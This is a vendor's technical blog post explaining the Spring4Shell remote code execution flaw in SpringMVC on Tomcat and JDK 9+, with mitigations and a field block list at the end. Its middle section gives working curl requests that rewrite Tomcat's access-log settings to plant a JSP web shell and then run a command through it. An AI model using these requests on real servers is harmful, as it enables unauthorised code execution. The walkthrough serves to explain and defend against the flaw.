Datawiza
Back to blog
April 6, 2022Technical

Understanding Spring4Shell RCE from an engineer’s perspective

Software developer holds the pen pointing to the computer screen and is analyzing the code.

What happened?

On March 29, 2022, A very old RCE (remote code execution) loophole tracked as CVE-2010-1622 was exposed in a series of Tweets. It affects most java projects using JDK 9+. This loophole enables attackers to exploit the server by executing a command on a server carried in a HTTP request.

Who should worry about this vulnerability?

If your project meets all conditions below, then you should take a serious look into this:

  1. JDK 9+
  2. Imported spring-webmvc dependency
  3. Deployed as WAR but not JAR
  4. Apache Tomcat as the Servlet container (the only container confirmed exploit currently)

How did this happen?

Before explaining more details, let’s first start with a simple API defined in SpringMVC controller.

@Controllerpublic class DemoController { @PostMapping("/animals") @ResponseBody public Map importAnimalIntoZoo(Animal animal) { HashMap response = new HashMap (); response.put("data", animal); return response; } }

Then send a POST request like this:

Image of an example POST request
Image of an example POST request

Then the text value of the parameter will be binded to a JavaBean:

and the Animal class contains a customized type member field: Species

If you go back to the request and check the parameter species.name=Dolphins you will see the value is mapped to the name field of the species object. The dot between species and name helps pass values into complex member variables.

For now, there is no obvious risk in this API call.

However, if we take a closer look at the source code and examine how the data binding process in SpringMVC class BeanWrapperImpl is implemented, you will see:

SpringMVC class BeanWrapperImpl is implemented,
SpringMVC class BeanWrapperImpl is implemented,

This is where the “magic” happens with some imagination.

The screenshot above indicates that we can bind not only data to the View object itself (animal here for example), but also data to its class.

Let’s check what is in the class. By searching through the path of

class.module.classLoader.resources.context.parent.pipeline.first

We find a member variable of type AccessLogValue

Image of code fragment
Image of code fragment

That means we can update all fields in AccessLogValue type field first just like we update species.name.

So what is AccessLogValue?

It’s the class just mapped to this snippet config in Tomcat configuration file server.xml.

Easy to see that it is the configuration of tomcat access log in the folder logs.

image of logs
image of logs

It will record all HTTP requests in it.

An image of record all HTTP requests in it.
An image of record all HTTP requests in it.

But does a log configuration matter?

The answer is yes.

After checking the field in class AccessLogValue, we can update the log file type to .jsp. Then we can try to inject one evil Java snippet into the jsp file:

  • As a result, a Calculator app can be launched on the server side.
  • Similarly, we can also inject some other commands like whoami, ifconfig or other query commands.

Test the Exploit yourself

  1. Download the demo code from github to local github: https://github.com/datawiza-inc/spring-rec-demo
  2. Deploy it to TOMCAT (apache-tomcat-8.5.76) Note: apache-tomcat-8.5.78 has fixed this vulnerability.
  3. Issue a request like below to set Tomcat log configuration
Image of Tomcat log configuration
Image of Tomcat log configuration

curl command:

curl --location -g --request POST 'localhost:8080/spring_rec_demo_war/animals?name=orca&alias=Killer Whale&latinName=Orcinus orca&distributions=Fiji&species.name=Dolphins&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BleftBracket%7Di%20String%20cmd%20%3D%20%22%25%7Bcmd%7Di%22%3B%20Process%20exec%20%3D%20%25%7Bruntime%7Di.getRuntime().exec(cmd)%3B%20%25%7BrightBracket%7Di%20%3Ch1%3ERun%20%22%25%7BleftBracket%7Di%3Dcmd%20%25%7BrightBracket%7Di%20%22%3C%2Fh1%3E%20%20&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/{ABSOLUTE_PATH}/apache-tomcat-8.5.76/webapps/spring_rec_demo_war/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=trick&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='

Now let’s check the parameters in this request:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BleftBracket%7Di%20String%20cmd%20%3D%20%22%25%7Bcmd%7Di%22%3B%20Process%20exec%20%3D%20%25%7Bruntime%7Di.getRuntime().exec(cmd)%3B%20%25%7BrightBracket%7Di%20%3Ch1%3ERun%20%22%25%7BleftBracket%7Di%3Dcmd%20%25%7BrightBracket%7Di%20%22%3C%2Fh1%3E%20%20

Do a URL decode, you will notice that this pattern contains jsp content:

%{leftBracket}i String cmd = "%{cmd}i"; Process exec = %{runtime}i.getRuntime().exec(cmd); %{rightBracket}i Run "%{leftBracket}i=cmd %{rightBracket}i "

The placeholder %{leftBracket}i will accept text value <% from request header with name leftBracket because symbol <% and %> can’t be set into Tomcat config by request directly. Also, Runtime class name is prevented to show in the pattern config so we also use %{runtime}i to make another request to populate it.

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

set log file extension to jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/haoxintai/Tools/apache-tomcat-8.5.76/webapps/spring_rec_demo_war/

print logs to file with specified path

class.module.classLoader.resources.context.parent.pipeline.first.prefix=trick

set log file name

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

remove log prefix like 04-Apr-2022 17:33:09.628

4. Once the configuration is done, we can issue another request to trigger log print with leftBracket/rightBracket/runtime/cmd in header

issue another request to trigger log print with leftBracket/rightBracket/runtime/cmd in header
issue another request to trigger log print with leftBracket/rightBracket/runtime/cmd in header

curl command:

  • curl --location --request POST 'localhost:8080/' \ --header 'leftBracket: ' \ --header 'runtime: Runtime' \ --header 'cmd: open /System/Applications/Calculator.app'
  • 5. Check the created jsp format log in specified path
jsp format log in specified path
jsp format log in specified path
Image of spring rec demo war
Image of spring rec demo war

6. Everything is ready now. We can visit the jsp file to do the trick.

Image of jsp file
Image of jsp file

Amazing! The Calculator app is launched!

How to mitigate this?

Best options:

  1. upgrade Spring Framework to 5.3.18+/5.2.20+ with patch
  2. upgrade Tomcat to the latest one with patch

If for some reason, you can’t take those options at the moment, below are some workarounds for you.

  1. Set a blacklist to prevent the config update:

@ControllerAdvicepublic class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] blacklist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"}; dataBinder.setDisallowedFields(blacklist); } }

2. Downgrade JDK version to 8.

We recommend that all users apply mitigations or updates if they are using Spring Core.

Last question, why doesn't JDK 8 have the vulnerability?

The answer is hidden in the path:

class.module.classLoader.resources.context.parent.pipeline.first.pattern

In JDK 8, there is no module language feature at all, so no loophole for us to take advantage of. That’s a new feature since JDK 9.

The class.classLoader has already been blocked in JDK 8 so it is safe.

Datawiza is Easy to Get Started

Sign up to secure your AI agents and critical enterprise apps

Try Datawiza